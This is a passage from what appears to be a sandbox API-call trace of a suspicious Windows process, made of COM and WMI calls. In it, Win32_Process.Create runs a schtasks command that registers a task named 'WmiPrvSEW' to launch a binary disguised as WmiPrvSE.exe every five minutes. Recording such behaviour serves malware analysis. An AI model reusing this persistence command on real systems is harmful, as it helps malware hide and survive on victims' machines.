[1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0087.313] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1370, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0087.313] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1370, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11f7d30) returned 0x0 [0087.313] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f7d30, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0087.313] WbemDefPath:IUnknown:Release (This=0x11f7d30) returned 0x3 [0087.313] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0087.313] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0087.313] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1370, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0087.313] WbemDefPath:IUnknown:Release (This=0x1bea1370) returned 0x2 [0087.313] WbemDefPath:IUnknown:Release (This=0x1bea1370) returned 0x1 [0087.313] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0087.313] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0087.313] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1370, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea1370) returned 0x0 [0087.313] WbemDefPath:IUnknown:AddRef (This=0x1bea1370) returned 0x3 [0087.313] WbemDefPath:IUnknown:Release (This=0x1bea1370) returned 0x2 [0087.313] WbemDefPath:IWbemPath:SetText (This=0x1bea1370, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0087.313] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1730, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0087.314] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1370, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0087.314] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1370, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0087.314] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1370, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0087.314] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bea1730) returned 0x0 [0087.314] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1370, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0087.314] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea1370, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0087.314] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea1370, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0087.314] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea1730, uIndex=0x0, pszName="root") returned 0x0 [0087.314] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea1370, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0087.314] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea1370, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0087.314] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea1730, uIndex=0x1, pszName="cimv2") returned 0x0 [0087.314] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea1370, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0087.314] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea1370, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0087.314] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea1730, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0087.314] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea1730, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0087.314] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea1730, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0087.314] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c540, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0087.314] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c540, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0087.314] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c540, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0087.314] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c540, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0087.314] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c540, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0087.314] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c540, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0087.315] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1730, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0087.315] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1730, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0087.315] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1730, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0087.315] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1730, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0087.315] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1730, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0087.315] IWbemServices:GetObject (in: This=0x1bed1f10, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x1bef62b0, ppCallResult=0x0) returned 0x0 [0087.321] IWbemClassObject:GetMethod (in: This=0x1bef62b0, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x1bef6620, ppOutSignature=0x1b2fd9e0*=0x1bef6990) returned 0x0 [0087.321] IWbemClassObject:SpawnInstance (in: This=0x1bef6620, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf458b0) returned 0x0 [0087.322] IWbemClassObject:Get (in: This=0x1bf458b0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29afce8*=0, plFlavor=0x29afcec*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29afce8*=8, plFlavor=0x29afcec*=32) returned 0x0 [0087.322] IWbemClassObject:Get (in: This=0x1bf458b0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29afce8*=8, plFlavor=0x29afcec*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29afce8*=8, plFlavor=0x29afcec*=32) returned 0x0 [0087.322] IWbemClassObject:Put (This=0x1bf458b0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"WmiPrvSEW\" /sc MINUTE /mo 5 /tr \"'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0087.322] IWbemClassObject:Get (in: This=0x1bf458b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29afd78*=0, plFlavor=0x29afd7c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29afd78*=13, plFlavor=0x29afd7c*=32) returned 0x0 [0087.322] IWbemClassObject:Get (in: This=0x1bf458b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29afd78*=13, plFlavor=0x29afd7c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29afd78*=13, plFlavor=0x29afd7c*=32) returned 0x0 [0087.322] IUnknown:QueryInterface (in: This=0x1bef5bd0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x1bef5bd0) returned 0x0 [0087.323] IUnknown:QueryInterface (in: This=0x1bef5bd0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0087.323] IUnknown:QueryInterface (in: This=0x1bef5bd0, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0087.323] IUnknown:AddRef (This=0x1bef5bd0) returned 0x3 [0087.323] IUnknown:QueryInterface (in: This=0x1bef5bd0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0087.323] IUnknown:QueryInterface (in: This=0x1bef5bd0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0087.323] IUnknown:QueryInterface (in: This=0x1bef5bd0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x1bef5bd8) returned 0x0 [0087.323] IMarshal:GetUnmarshalClass (in: This=0x1bef5bd8, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0087.323] IUnknown:Release (This=0x1bef5bd8) returned 0x3 [0087.323] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0087.323] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0087.323] IUnknown:QueryInterface (in: This=0x1bef5bd0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0087.323] IUnknown:Release (This=0x1bef5bd0) returned 0x2 [0087.323] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0087.323] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0087.324] IUnknown:QueryInterface (in: This=0x1bef5bd0, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0087.324] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0087.324] IUnknown:QueryInterface (in: This=0x1bef5bd0, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0087.324] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0087.324] IUnknown:AddRef (This=0x1bef5bd0) returned 0x3 [0087.324] IWbemClassObject:Put (This=0x1bf458b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bef5bd0, varVal2=0x0), Type=0) returned 0x0 [0087.324] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c600, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0087.324] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c600, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0087.324] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c600, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0087.324] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c540, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0087.324] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c540, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0087.324] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c540, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0087.324] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c600, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0087.324] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c600, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0087.325] IWbemServices:ExecMethod (in: This=0x1bed1f10, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bf458b0, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf45b60, ppCallResult=0x0) returned 0x0 [0087.658] IWbemClassObject:Get (in: This=0x1bf45b60, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b0090*=0, plFlavor=0x29b0094*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x120, varVal2=0x0), pType=0x29b0090*=19, plFlavor=0x29b0094*=0) returned 0x0 [0087.659] IWbemClassObject:Get (in: This=0x1bf45b60, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b0090*=19, plFlavor=0x29b0094*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x120, varVal2=0x0), pType=0x29b0090*=19, plFlavor=0x29b0094*=0) returned 0x0 [0087.660] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0087.661] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0087.661] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0087.661] IUnknown:Release (This=0x111f638) returned 0x1 [0087.664] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1c023100) returned 0x0 [0087.664] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c023100, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0087.664] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c023100, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bea1eb0) returned 0x0 [0087.664] WbemDefPath:IUnknown:Release (This=0x1c023100) returned 0x0 [0087.665] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1eb0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bea1eb0) returned 0x0 [0087.665] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1eb0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0087.665] WbemDefPath:IUnknown:AddRef (This=0x1bea1eb0) returned 0x3 [0087.665] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1eb0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0087.665] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1eb0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0087.665] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1eb0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1c023020) returned 0x0 [0087.665] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c023020, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0087.665] WbemDefPath:IUnknown:Release (This=0x1c023020) returned 0x3 [0087.666] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0087.666] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0087.666] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1eb0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0087.666] WbemDefPath:IUnknown:Release (This=0x1bea1eb0) returned 0x2 [0087.666] WbemDefPath:IUnknown:Release (This=0x1bea1eb0) returned 0x1 [0087.666] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0087.666] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0087.666] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1eb0, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bea1eb0) returned 0x0 [0087.666] WbemDefPath:IUnknown:AddRef (This=0x1bea1eb0) returned 0x3 [0087.667] WbemDefPath:IUnknown:Release (This=0x1bea1eb0) returned 0x2 [0087.667] WbemDefPath:IWbemPath:SetText (This=0x1bea1eb0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0087.667] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1eb0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0087.667] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1eb0, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0087.667] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1eb0, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0087.667] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea1eb0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0087.667] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1eb0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0087.667] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea1eb0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0087.667] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0087.667] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0087.667] IUnknown:QueryInterface (in: This=0x111f638, 